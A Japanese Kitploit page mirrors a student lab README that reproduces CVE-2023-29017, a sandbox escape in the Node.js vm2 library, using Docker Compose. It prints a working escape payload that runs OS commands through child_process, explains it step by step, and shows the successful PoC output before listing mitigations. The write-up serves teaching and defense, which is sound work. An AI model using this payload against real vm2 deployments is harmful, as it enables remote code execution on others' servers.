Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Node_CVE-2023-29017 — Node.js vm2 CVE-2023-29017 の Docker Compose と PoC による再現 | Kitploit
ツール/GitHubGitHub/gunwoo105/node_cve-2023-29017
コンテナセキュリティ脆弱性分析エクスプロイト学習と教育バイナリエクスプロイトラボと実践
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Node.js vm2 CVE-2023-29017 の Docker Compose と PoC による再現

リポジトリを見る
1ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-29017 | vm2 サンドボックスエスケープによるリモートコード実行

[WHS 4期 31組] - 김건우(@gunwoo105)

脆弱性の概要

vm2 は、信頼できない JavaScript を制限された環境で実行するための Node.js サンドボックスライブラリです。通常、サンドボックス内のコードは、Node.js の process, require, child_process やホストファイルシステムなどの機密機能にアクセスできないはずです。

しかし、vm2 3.9.14 以下では、未処理の非同期エラーが発生した際に Error.prepareStackTrace へ渡されるホストオブジェクトを安全に処理できません。攻撃者はこのオブジェクトのコンストラクタチェーンを悪用して、ホストコンテキストの Function コンストラクタと process オブジェクトを取得し、最終的に child_process を介して OS コマンドを実行できます。

環境構成

構成要素

構成要素バージョンおよび設定
Node.js18.15.0
vm23.9.14
パッチバージョン3.9.15
実行環境Docker Compose
コンテナユーザーnode
サービスポート127.0.0.1:3000
パッケージインストールnpm ci + package-lock.json

脆弱な完成品イメージは使用せず、公式の Node.js ベースイメージとリポジトリに含まれるソースコードからイメージを直接ビルドします。Dockerfile では Node.js と vm2 のバージョンを検証し、バージョンが想定と異なる場合はビルドが失敗します。

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

worker.js を別プロセスとして実行する理由は、PoC が未処理の非同期エラーを発生させるためです。攻撃の過程で worker が終了しても Web サーバーは実行を継続し、marker ファイルによって成功の有無を安定して検証できます。

脆弱性の条件

以下の条件がすべて満たされている必要があります。

  1. アプリケーションが vm2 3.9.14 以下を使用している。
  2. 攻撃者が実行する JavaScript 入力を制御できる。
  3. その JavaScript が vm2 内部で実行される。
  4. 非同期 JavaScript の実行が許可されている。
  5. 未処理の非同期エラーが脆弱な stack trace 処理経路に到達する。
  6. vm2 を実行する Node.js プロセスに、OS コマンド実行またはファイルアクセス権限がある。

vm2 をインストールしたすべてのサービスが自動的にリモート攻撃にさらされるわけではありません。攻撃者が制御したコードを vm2 で実行する機能が存在する必要があります。この演習の /execute エンドポイントは、そのユースケースを最小限に実装したものです。

攻撃の流れは次のとおりです。

root@kitploit:~
悪意のある JavaScript の送信
        │
        ▼
未処理の非同期エラーの発生
        │
        ▼
Error.prepareStackTrace の呼び出し
        │
        ▼
ホスト frames オブジェクトの露出
        │
        ▼
ホスト Function コンストラクタの取得
        │
        ▼
process → require → child_process
        │
        ▼
コンテナ内の OS コマンド実行

再現手順

イメージのビルド

root@kitploit:~
docker compose build --no-cache

イメージのビルド成功

脆弱なサービスの実行

root@kitploit:~
docker compose up -d vulnerable

コンテナの状態を確認します。

root@kitploit:~
docker compose ps

サービスの状態およびバージョン確認

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

サービスの状態およびバージョン確認

PoC の実行

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

PoC は次の項目を自動的に検証します。

  1. 脆弱なサービスの healthcheck
  2. Node.js と vm2 のバージョン
  3. 正常な JavaScript 21 * 2 の実行
  4. 正常なコードでは marker ファイルが生成されないことの確認
  5. CVE-2023-29017 payload の送信
  6. /tmp/vm2-pwned の生成有無の確認
  7. ファイル内容に uid= が含まれるかどうかの確認
  8. 成功時は終了コード 0、失敗時は終了コード 1 を返す

ビルドから PoC までを一括で実行するには、次のコマンドを使用します。

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

証拠ファイルの確認

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

環境の終了

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

5. PoC コード

完全な PoC は poc/poc.js に含まれています。中核となる payload は次のとおりです。

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

コードの動作

Error.prepareStackTrace の再定義

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

エラー stack trace が生成される際に実行される関数を攻撃者が再定義します。

ホスト Function コンストラクタの取得

root@kitploit:~
frames.constructor.constructor

脆弱な vm2 が露出させたホスト frames オブジェクトのコンストラクタチェーンをたどり、ホストコンテキストの Function コンストラクタにアクセスします。

ホスト process オブジェクトの取得

root@kitploit:~
frames.constructor.constructor('return process')();

ホストコンテキストで process を返す関数を生成して実行します。

OS コマンドの実行

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

サンドボックス内部では提供されていない child_process を読み込み、Linux の id コマンドを実行します。

未処理の非同期エラーの誘発

root@kitploit:~
(async () => {}).constructor('return process')();

サンドボックスでは使用できない process を非同期関数が参照するようにして rejected Promise を作り、脆弱な stack trace 処理経路に到達させます。

実行結果

正常対照群

正常な JavaScript は vm2 内部で実行され 42 を返しますが、OS コマンド実行の証拠は生成しません。

root@kitploit:~
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

脆弱性の悪用

悪意のある payload を送信すると vm2 サンドボックスを脱出し、脆弱な Node.js プロセスの権限でコンテナ内の id コマンドが実行されます。

root@kitploit:~
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

PoC は保存された証拠を再確認したうえで、成功状態を返します。

root@kitploit:~
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

PoC の実行成功

証拠ファイルを直接確認すると、次のような結果が出力されます。

Marker の証拠確認

marker ファイルは各実行の前に削除され、正常なコード実行の段階では生成されません。したがって、以前の実行結果が残ることによる誤検知を防ぎます。

対策

vm2 の更新

影響を受けないバージョンに更新します。

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

その後、lockfile を更新し、固定された依存関係でインストールします。

root@kitploit:~
npm install --package-lock-only
npm ci

公式 Advisory は別個の workaround がないと説明しているため、脆弱なバージョンを使い続けることは推奨されません。

信頼できないコードの実行環境の分離

信頼できないコードをアプリケーションと同じ Node.js プロセスで実行しません。別のプロセス、コンテナ、または仮想マシンに隔離し、実行が終わったら環境を破棄します。

最小権限の適用

  • root ではない専用ユーザーで実行
  • no-new-privileges を適用
  • 不要な Linux capability を削除
  • Docker socket とホストディレクトリのマウントを禁止
  • ファイルシステムの読み取り専用設定を検討
  • コンテナ内への長期資格情報の保存を禁止

ネットワークおよびリソースの制限

  • 実行コンテナの外部ネットワークへのアクセスを制限
  • 内部管理ネットワークおよびデータベースへのアクセスを最小化
  • CPU、メモリ、プロセス数と実行時間を制限
  • 入力サイズとリクエスト頻度を制限
  • 異常終了と反復的な悪性入力のモニタリング

認証および入力の制御

コード実行機能には強力な認証と認可を適用し、不特定のユーザーに公開された任意コード実行 API を運用しません。ただし、認証は攻撃対象領域を減らす補助的な対策であり、脆弱性そのものを修正する代替手段ではありません。

ツールをダウンロード
ファイル役割
docker-compose.yml脆弱なサービスと PoC コンテナの構成および実行順序を定義
Dockerfile脆弱なサービスと PoC イメージを multi-stage 方式でビルド
vulnerable/src/server.js/health、/execute、/evidence エンドポイントを提供
vulnerable/src/worker.jsユーザー入力を別プロセスの vm2 で実行
poc/poc.jsバージョン確認、正常対照群、攻撃および証拠確認の自動化
vulnerable/package-lock.json推移的依存関係を含むパッケージバージョンの固定